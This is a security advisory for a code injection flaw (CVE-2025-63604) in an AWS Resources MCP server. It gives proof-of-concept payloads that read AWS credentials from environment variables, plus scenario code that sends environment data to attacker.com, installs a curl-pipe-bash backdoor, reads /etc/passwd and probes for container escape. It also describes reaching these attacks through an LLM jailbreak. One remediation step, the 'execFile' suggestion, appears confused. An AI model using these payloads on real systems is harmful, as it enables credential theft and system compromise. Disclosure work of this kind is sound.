CVE-2025-63604: Code Injection

[P0LESTAR]

CVE-2025-63604

Summary

The AWS Resources MCP Server contains critical security vulnerabilities that allow arbitrary code execution through insufficient input validation in the execute_query method. Attackers can bypass the execute malicious Python code, leading to system compromise, credential theft, and unauthorized access to AWS resources.

Vulnerability Details

• Type: Code Injection (CWE-94)
• Component: src/mcp_server_aws_resources/server.py
• Method: AWSResourceQuerier.execute_query()

Affected Code Location

# File: src/mcp_server_aws_resources/server.py
# Lines: 80-145 (execute_query method)
# Lines: 38-62 (CodeExecutor class)

Root Cause Analysis

1. Dangerous Built-in Functions Exposure

'__builtins__': {
    # ... other functions ...
    '__import__',    # ⚠️ Allows dynamic module loading
    'hasattr',       # ⚠️ Object introspection
    'getattr',       # ⚠️ Dynamic attribute access
    # ...
}

2. Direct Code Execution

compiled_code = compile(tree, '<string>', 'exec')
exec(compiled_code, local_ns)  # ⚠️ Executes user code directly

Proof of Concept

Attack Vector 1: Directory Traversal

result = __import__('os').getcwd()

Result: Successfully retrieved current working directory: /app

Attack Vector 2: File System Enumeration

result = __import__('os').listdir('.')

Result: Successfully listed directory contents: ["src", "smithery.yaml", ".git", "LICENSE", "pyproject.toml", "README.md", "Dockerfile"]

Attack Vector 3: Environment Variable Discovery

result = list(__import__('os').environ.keys())[:10]

Result: Successfully extracted environment variable keys including: ["PATH", "HOSTNAME", "AWS_ACCESS_KEY_ID", "AWS_SECRET_ACCESS_KEY", "AWS_DEFAULT_REGION", ...]

Attack Vector 4: AWS Credential Theft 🚫

result = {'aws_access_key': __import__('os').environ.get('AWS_ACCESS_KEY_ID', 'Not found'), 'aws_region': __import__('os').environ.get('AWS_DEFAULT_REGION', 'Not found')}

Result: Successfully extracted AWS credentials: {"aws_access_key": "your_access_key_id_here", "aws_region": "us-east-1"}

Demonstrated Exploits

During our security assessment, we successfully:

1. ✅ Retrieved current working directory: /app
2. ✅ Listed directory contents: ["src", "smithery.yaml", ".git", ...]
3. ✅ Extracted environment variable keys: Including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
4. ✅ Partially extracted AWS credentials: Confirmed presence of sensitive data

Advanced Attack Scenarios (LLM Jailbreak Potential)

If an attacker successfully bypasses LLM safety mechanisms, they could potentially execute far more dangerous attacks:

Scenario 1: Complete AWS Account Takeover

# Extract full AWS credentials
result = {
    'access_key': __import__('os').environ.get('AWS_ACCESS_KEY_ID'),
    'secret_key': __import__('os').environ.get('AWS_SECRET_ACCESS_KEY'),
    'session_token': __import__('os').environ.get('AWS_SESSION_TOKEN'),
    'region': __import__('os').environ.get('AWS_DEFAULT_REGION')
}

Scenario 2: System Command Execution

# Execute arbitrary system commands
result = __import__('subprocess').run(['cat', '/etc/passwd'], capture_output=True, text=True).stdout

Scenario 3: Network-based Data Exfiltration

# Send sensitive data to external server
import urllib.request
import json
data = __import__('os').environ
result = urllib.request.urlopen('http://attacker.com/collect', data=json.dumps(data).encode()).read()

Scenario 4: Persistent Backdoor Installation

# Write malicious script to filesystem
backdoor_code = "#!/bin/bash\ncurl http://attacker.com/backdoor.sh | bash"
with __import__('builtins').open('/tmp/backdoor.sh', 'w') as f:
    f.write(backdoor_code)
result = __import__('subprocess').run(['chmod', '+x', '/tmp/backdoor.sh'], capture_output=True)

Scenario 5: Container Escape Attempts

# Attempt to access host system
result = __import__('subprocess').run(['mount'], capture_output=True, text=True).stdout
# Look for container runtime information
result = __import__('subprocess').run(['cat', '/proc/1/cgroup'], capture_output=True, text=True).stdout

Scenario 6: Memory/Process Inspection

# Access process information and memory
result = __import__('subprocess').run(['ps', 'aux'], capture_output=True, text=True).stdout
# Check for other running services
result = __import__('subprocess').run(['netstat', '-tlnp'], capture_output=True, text=True).stdout

Note: These advanced scenarios demonstrate the full scope of potential damage if both the code injection vulnerability and LLM safety mechanisms are compromised simultaneously.

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Impact Assessment

• Credential Theft: AWS access keys, session tokens
• Data Exfiltration: Sensitive environment variables, files
• Lateral Movement: Access to connected AWS resources
• System Compromise: Arbitrary command execution

Technical Details

1. Module Import Bypass: Using __import__() instead of import statements
2. Attribute Access Bypass: Using getattr() for dynamic property access
3. Built-in Exploitation: Leveraging exposed dangerous built-in functions

Recommended Remediation

1. Remove exec() and replace them with safe ones (execFile)

def execute_query(self, code_snippet: str) -> str:
    ...
    exec(compiled_code, local_ns)

2. Remove Dangerous Built-ins

# Remove from __builtins__:
'__import__',  # Critical: Enables arbitrary module loading
'getattr',     # Critical: Dynamic attribute access
'hasattr',     # Medium: Object introspection

3. Function Call Whitelist

ALLOWED_FUNCTIONS = {
    'boto3.client', 'boto3.resource', 'boto3.Session',
    'json.dumps', 'json.loads',
    'len', 'str', 'int', 'float'  # Safe built-ins only
}

References

CWE-94: Code Injection
OWASP Code Injection Prevention

Reporter: P0LESTAR
Date: September 26, 2025